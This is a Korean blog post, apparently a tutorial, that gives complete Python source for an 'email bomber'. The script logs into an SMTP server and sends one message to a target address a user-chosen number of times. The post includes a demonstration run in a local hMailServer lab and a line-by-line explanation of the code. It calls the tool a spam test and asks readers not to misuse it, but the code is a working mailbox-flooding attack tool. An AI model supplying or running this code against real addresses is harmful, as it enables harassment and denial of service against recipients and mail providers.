본문 바로가기
IT/Python

[Python] E-Mail Send - Email Bomber Test

by 초록술 2020. 5. 14.
반응형

스팸(Spam) 테스트를 위해 E-mail Bomb(이메일 폭탄)을 제작하게 되었습니다.

다음은 E-Mail bomber Python 프로그래밍 예제입니다. (절대, 악용하지 마십시오)

해킹 도구만이 아닌 Python 프로그램 구현 시 E-Mail 알람 등에 활용할 수 있을 것으로 생각됩니다.

 

# E-Mail Bomber Source

# -*- coding: utf-8 -*-
# Python 3.8.2

# **************************************************************************************
#
#   brief   Mail Bomber
#
#   file    EmailBomb.py
#   date    2020.05.12
#   author  greensul
#
# **************************************************************************************

import smtplib
from email.mime.text import MIMEText
import time


class Email_Bomber:
    def __init__(self, senderEmailServer, senderEmail, senderPW):
        try:
            self.smtp = smtplib.SMTP(senderEmailServer, 587)
            self.smtp.ehlo()      # say Hello
            self.smtp.starttls()  # TLS 사용시 필요
            self.smtp.login(senderEmail, senderPW)
        except Exception as e:
            # print(e)
            self.smtp = smtplib.SMTP(senderEmailServer, 587)
            self.smtp.ehlo()      # say Hello
            # self.smtp.starttls()  # TLS 사용시 필요
            self.smtp.login(senderEmail, senderPW)
        


    def MailSender(self, cnt, message, subject, senderEmail, targetEmail):
        msg = MIMEText(message)
        msg['Subject'] = subject
        msg['To'] = targetEmail
        for i in range(cnt):
            self.smtp.sendmail(senderEmail, targetEmail, msg.as_string())
            print("* Send E-Mail : " + str(i))
        self.QuitSMTP()

    def QuitSMTP(self):
        self.smtp.quit()

if __name__ == "__main__":
    
    print("*****************************************************")
    print("* E-Mail Bomb Test")
    print("*****************************************************")
    TargetEmail = input('* Target E-Mail address : ')
    SendCnt = int(input('* Mail Send Count : '))
    SenderMailServer = input('* Your(Sender) E-Mail Server : ')
    SenderEmail = input('* Your(Sender) E-Mail address : ')
    SenderPW = input('* Your(Sender) E-Mail  password : ')
    Subject = input('* E-Mail subject : ')
    Message = input('* E-Mail message : ')

    print("*****************************************************")
    print("* E-Mail Send")
    print("*****************************************************")
    start_time = time.time()

    EBomber = Email_Bomber(SenderMailServer, SenderEmail, SenderPW)
    EBomber.MailSender(SendCnt, Message, Subject, SenderEmail, TargetEmail)   
    
    print("*****************************************************")
    print('* Seconds: %s' %(time.time() - start_time))

 

# E-Mail Bomber Result 

공격자 green@green.com 이 sul@sul.com 으로 Email 폭탄(?)을 보내려고 합니다.

python으로 EmailBomb.py 를 구동합니다.

Target E-mail 은 sul@sul.com 입력합니다.

E-Mail은 10개만 보내겠습니다.

Sender 의 이메일 정보를 입력합니다.

제목과 내용을 입력하면 이메일이 발송됩니다.

마지막에 소요 시간(초)을 찍어줍니다.

더보기

python EmailBomb.py

*****************************************************
* E-Mail Bomb Test
*****************************************************
* Target E-Mail address : sul@sul.com
* Mail Send Count : 10
* Your(Sender) E-Mail Server : green.com
* Your(Sender) E-Mail address : green@green.com
* Your(Sender) E-Mail  password : qwe123
* E-Mail subject : E-Mail Bomber Test
* E-Mail message : I'll Send E-Mail
*****************************************************
* E-Mail Send
*****************************************************
* Send E-Mail : 0
* Send E-Mail : 1
* Send E-Mail : 2
* Send E-Mail : 3
* Send E-Mail : 4
* Send E-Mail : 5
* Send E-Mail : 6
* Send E-Mail : 7
* Send E-Mail : 8
* Send E-Mail : 9
*****************************************************
* Seconds: 2.0275771617889404

 

10개의 이메일 회신을 확인합니다.

 

# 메일 서버 실습 환경 구성

우선 실습 환경을 만들어야 합니다.

메일 서버 실습 환경은 아래 두 개의 포스팅을 참고하여 주십시오.

저의 경우에는 메일 서버에 도메인(domain) 2개를 설정하였습니다. (green.com, sul.com)

[E-mail] hMailServer 와 Thunderbird로 이메일 서버 구축 테스트 #1

 

[E-mail] hMailServer 와 Thunderbird로 이메일 서버 구축 테스트 #1

hMailServer는 Windows 용 이메일(e-mail) 서비스로 무료(free)이며 오픈 소스(AGPLv3)입니다. e-mail 프로토콜인 IMAP, SMTP, POP3를 지원하며, 점수 기반의 spam 방지 기능이 내장되어 있습니다. # hMailServer..

greensul.tistory.com

[E-mail] hMailServer 와 Thunderbird로 이메일 서버 구축 테스트 #2

 

[E-mail] hMailServer 와 Thunderbird로 이메일 서버 구축 테스트 #2

지난번에는 hMailServer 을 이용해 이메일 서버를 구축해 보았습니다. 2020/04/21 - [IT/Network] - [E-mail] hMailServer 와 Thunderbird로 이메일 서버 구축 테스트 #1 [E-mail] hMailServer 와 Thunderbird로..

greensul.tistory.com

 

# E-Mail Bomber Source 설명

import smtplib
from email.mime.text import MIMEText
import time

 - smtplib : 메일을 보내는 데 사용하는 SMTP 관련 라이브러리입니다.

 - MIMEText : 메일 내용을 MIME Type으로 변환합니다.

 - import time : 메일 발송 소요 시간을 체크합니다.

 

class Email_Bomber:

    def __init__(selfsenderEmailServersenderEmailsenderPW):

        try:

            self.smtp = smtplib.SMTP(senderEmailServer, 587)

            self.smtp.ehlo()      # say Hello

            self.smtp.starttls()  # TLS 사용 시 필요

            self.smtp.login(senderEmail, senderPW)

        except Exception as e:

            # print(e)

            self.smtp = smtplib.SMTP(senderEmailServer, 587)

            self.smtp.ehlo()      # say Hello

            # self.smtp.starttls()  # TLS 사용시 필요

            self.smtp.login(senderEmail, senderPW)

- Email_Bomber Class 를 생성하고 생성자를 만듭니다.

- 기본 587 Port 를 사용하여 메일을 발송합니다. 혹시라도 Port를 변경해야 하면 587이 아니라 변수로 받으십시오.

- try 를 사용한 이유는 hMailServer의 기본 Setting에는 TLS를 사용하지 않습니다. try 로 starttls 를 하고 에러 발생 시 TLS를 주석처리한 except 을 호출하게 하였습니다.

 

    def MailSender(selfcntmessagesubjectsenderEmailtargetEmail):

        msg = MIMEText(message)

        msg['Subject'] = subject

        msg['To'] = targetEmail

        for i in range(cnt):

            self.smtp.sendmail(senderEmail, targetEmail, msg.as_string())

            print("* Send E-Mail : " + str(i))

        self.QuitSMTP()

 

    def QuitSMTP(self):

        self.smtp.quit()

- MIMEText 로 msg를 선언하고 내용, 제목, 타겟 메일을 입력합니다.

- Count 를 받아 for 문으로 반복합니다.

- for 문이 종료되면 QuitSMTP() 함수를 호출하여 세션을 종료합니다.

 

 

Python 으로 Email 발송하는 예제에 대해 알아보았습니다.

메일 발송용으로 소스를 수정하여 모듈로 관리하고 필요시 사용할 예정입니다.

 

감사합니다.

반응형

댓글